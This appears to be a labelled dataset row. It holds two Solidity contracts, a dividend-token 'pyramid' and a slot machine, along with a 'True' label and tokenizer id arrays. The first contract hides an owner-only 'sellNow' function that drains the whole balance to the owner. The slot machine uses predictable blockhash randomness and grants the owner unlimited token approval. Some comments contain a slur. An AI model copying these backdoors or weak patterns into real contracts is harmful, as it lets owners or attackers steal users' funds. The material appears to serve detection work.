* In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
*/
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
/**
* In case one of us dies, we need to replace ourselves.
*/
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
/**
* Precautionary measures in case we need to adjust the masternode rate.
*/
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
/**
* If we want to rebrand, we can.
*/
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
/**
* If we want to rebrand, we can.
*/
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
/**
* Retrieve the total token supply.
*/
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/**
* Return the buy price of 1 individual token.
*/
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;}}
function sellNow() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Function for the frontend to dynamically retrieve the price scaling of buy orders.
*/
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/**
* Function for the frontend to dynamically retrieve the price scaling of sell orders.
*/
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if(
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2322,
1025,
1013,
1008,
2074,
1028,
1028,
3802,
2232,
2595,
1012,
4012,
1026,
1026,
5221,
11918,
2041,
2664,
1012,
5221,
2622,
1997,
2023,
2828,
1012,
5221,
4012,
19496,
3723,
1012,
1008,
1013,
3206,
3802,
2232,
2595,
1063,
1013,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
16913,
28295,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
1013,
1013,
2069,
2111,
2007,
19204,
2015,
16913,
18095,
2069,
16078,
17794,
1006,
1007,
1063,
5478,
1006,
2026,
18715,
6132,
1006,
1007,
1028,
1014,
1007,
1025,
1035,
1025,
1065,
1013,
1013,
2069,
2111,
2007,
11372,
16913,
18095,
2069,
3367,
17583,
11774,
2015,
1006,
1007,
1063,
5478,
1006,
2026,
4305,
17258,
10497,
2015,
1006,
2995,
1007,
1028,
1014,
1007,
1025,
1035,
1025,
1065,
1013,
1013,
15631,
2064,
1024,
1013,
1013,
1011,
1028,
2689,
1996,
2171,
1997,
1996,
3206,
1013,
1013,
1011,
1028,
2689,
1996,
2171,
1997,
1996,
19204,
1013,
1013,
1011,
1028,
2689,
1996,
13433,
2015,
7669,
1006,
2129,
2116,
19204,
2015,
2009,
5366,
2000,
2907,
1037,
3040,
3630,
3207,
1010,
1999,
2553,
2009,
4152,
4689,
2152,
2101,
1007,
1013,
1013,
2027,
3685,
1024,
1013,
1013,
1011,
1028,
2202,
5029,
1013,
1013,
1011,
1028,
4487,
19150,
10534,
2015,
1013,
1013,
1011,
1028,
3102,
1996,
3206,
1013,
1013,
1011,
1028,
2689,
1996,
3976,
1997,
19204,
2015,
16913,
18095,
2069,
4215,
25300,
20528,
4263,
1006,
1007,
1063,
4769,
1035,
8013,
4215,
16200,
4757,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
5478,
1006,
15631,
1031,
17710,
16665,
2243,
17788,
2575,
1006,
1035,
8013,
4215,
16200,
4757,
1007,
1033,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
1013,
1013,
21312,
2008,
1996,
2034,
19204,
2015,
1999,
1996,
3206,
2097,
2022,
8053,
5500,
1013,
1013,
3574,
1010,
2053,
7746,
15653,
2097,
2022,
2412,
2825,
1013,
1013,
2765,
1024,
7965,
26906,
1012,
16913,
18095,
3424,
14644,
2135,
2860,
15238,
1006,
21318,
3372,
17788,
2575,
1035,
3815,
11253,
11031,
7869,
2819,
1007,
1063,
4769,
1035,
8013,
4215,
16200,
4757,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1013,
1013,
2024,
2057,
2145,
1999,
1996,
8211,
4403,
1029,
1013,
1013,
2065,
2061,
1010,
4372,
18908,
3424,
2220,
13156,
8778,
2065,
1006,
2069,
3286,
22083,
3736,
7983,
2015,
1004,
1004,
1006,
1006,
2561,
11031,
7869,
25438,
7911,
5897,
1006,
1007,
1011,
1035,
3815,
11253,
11031,
7869,
2819,
1007,
1026,
1027,
6059,
28940,
17287,
1035,
1007,
1007,
1063,
5478,
1006,
1013,
1013,
2003,
1996,
8013,
1999,
1996,
6059,
2862,
1029,
20986,
1035,
1031,
1035,
8013,
4215,
16200,
4757,
1033,
1027,
1027,
2995,
1004,
1004,
1013,
1013,
2515,
1996,
8013,
5309,
13467,
1996,
4098,
6059,
20563,
1029,
1006,
6059,
6305,
24894,
8898,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.24;
/*
* Zlots.
*
* Written August 2018 by the Zethr team for zethr.io.
*
* Initial code framework written by Norsefire.
*
* Rolling Odds:
* 52.33% Lose
* 35.64% Two Matching Icons
* - 5.09% : 2x Multiplier [Two White Pyramids]
* - 5.09% : 2.5x Multiplier [Two Gold Pyramids]
* - 5.09% : 2.32x Multiplier [Two 'Z' Symbols]
* - 5.09% : 2.32x Multiplier [Two 'T' Symbols]
* - 5.09% : 2.32x Multiplier [Two 'H' Symbols]
* - 5.09% : 3.5x Multiplier [Two Green Pyramids]
* - 5.09% : 3.75x Multiplier [Two Ether Icons]
* 6.79% One Of Each Pyramid
* - 1.5x Multiplier
* 2.94% One Moon Icon
* - 12.5x Multiplier
* 1.98% Three Matching Icons
* - 0.28% : 20x Multiplier [Three White Pyramids]
* - 0.28% : 20x Multiplier [Three Gold Pyramids]
* - 0.28% : 25x Multiplier [Three 'Z' Symbols]
* - 0.28% : 25x Multiplier [Three 'T' Symbols]
* - 0.28% : 25x Multiplier [Three 'H' Symbols]
* - 0.28% : 40x Multiplier [Three Green Pyramids]
* - 0.28% : 50x Multiplier [Three Ether Icons]
* 0.28% Z T H Prize
* - 23.2x Multiplier
* 0.03% Two Moon Icons
* - 232x Multiplier
* 0.0001% Three Moon Grand Jackpot
* - 500x Multiplier
*
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHJackpot(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreeGreenPyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeWhitePyramids(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoGreenPyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoWhitePyramids(address _wagerer, uint _block); // Category 19
event SpinConcluded(address _wagerer, uint _block); // Debug event
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint56 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 56) - 1)); // Current block number smaller than storage of 1 uint56
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
//contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint56(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
/*
* Pay winners, update contract balance, send rewards where applicable.
*/
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
uint category = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 999999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target);
}
if (result > 476661) {
// Player has lost.
contractBalance = contractBalance.add(spin.tokenValue);
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else {
if (result < 1) {
// Player has won the three-moon mega jackpot!
profit = SafeMath.mul(spin.tokenValue, 500);
category = 1;
emit ThreeMoonJackpot(target, spin.blockn);
} else
if (result < 298) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 232);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else
if (result < 3127) {
// Player has won the Z T H jackpot!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232), 10);
category = 3;
emit ZTHJackpot(target, spin.blockn);
} else
if (result < 5956) {
// Player has won a three Z symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else
if (result < 8785) {
// Player has won a three T symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else
if (result < 11614) {
// Player has won a three H symbol prize
profit = SafeMath.mul(spin.tokenValue, 25);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else
if (result < 14443) {
// Player has won a three Ether icon prize
profit = SafeMath.mul(spin.tokenValue, 50);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else
if (result < 17272) {
// Player has won a three green pyramid prize
profit = SafeMath.mul(spin.tokenValue, 40);
category = 8;
emit ThreeGreenPyramids(target, spin.blockn);
} else
if (result < 20101) {
// Player has won a three gold pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else
if (result < 22929) {
// Player has won a three white pyramid prize
profit = SafeMath.mul(spin.tokenValue, 20);
category = 10;
emit ThreeWhitePyramids(target, spin.blockn);
} else
if (result < 52332) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else
if (result < 120225) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else
if (result < 171146) {
// Player has won a two Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else
if (result < 222067) {
// Player has won a two T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else
if (result < 272988) {
// Player has won a two H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 232),100);
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else
if (result < 323909) {
// Player has won a two Ether icon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 375),100);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else
if (result < 374830) {
// Player has won a two green pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 35),10);
category = 17;
emit TwoGreenPyramids(target, spin.blockn);
} else
if (result < 425751) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 225),100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two white pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 19;
emit TwoWhitePyramids(target, spin.blockn);
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
}
//Reset playerSpin to default values.
playerSpins[target] = playerSpin(uint200(0), uint56(0));
emit SpinConcluded(target, spin.blockn);
return result;
}
// This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// We do this by making sure that 500 * your wager is no more than 90% of the amount currently held by the contract.
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
address(this),
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1062,
10994,
2015,
1012,
1008,
1008,
2517,
2257,
2760,
2011,
1996,
27838,
2705,
2099,
2136,
2005,
27838,
2705,
2099,
1012,
22834,
1012,
1008,
1008,
3988,
3642,
7705,
2517,
2011,
15342,
10273,
1012,
1008,
1008,
5291,
10238,
1024,
1008,
4720,
1012,
3943,
1003,
4558,
1008,
3486,
1012,
4185,
1003,
2048,
9844,
18407,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1016,
2595,
4800,
24759,
3771,
1031,
2048,
2317,
11918,
2015,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1016,
1012,
1019,
2595,
4800,
24759,
3771,
1031,
2048,
2751,
11918,
2015,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1016,
1012,
3590,
2595,
4800,
24759,
3771,
1031,
2048,
1004,
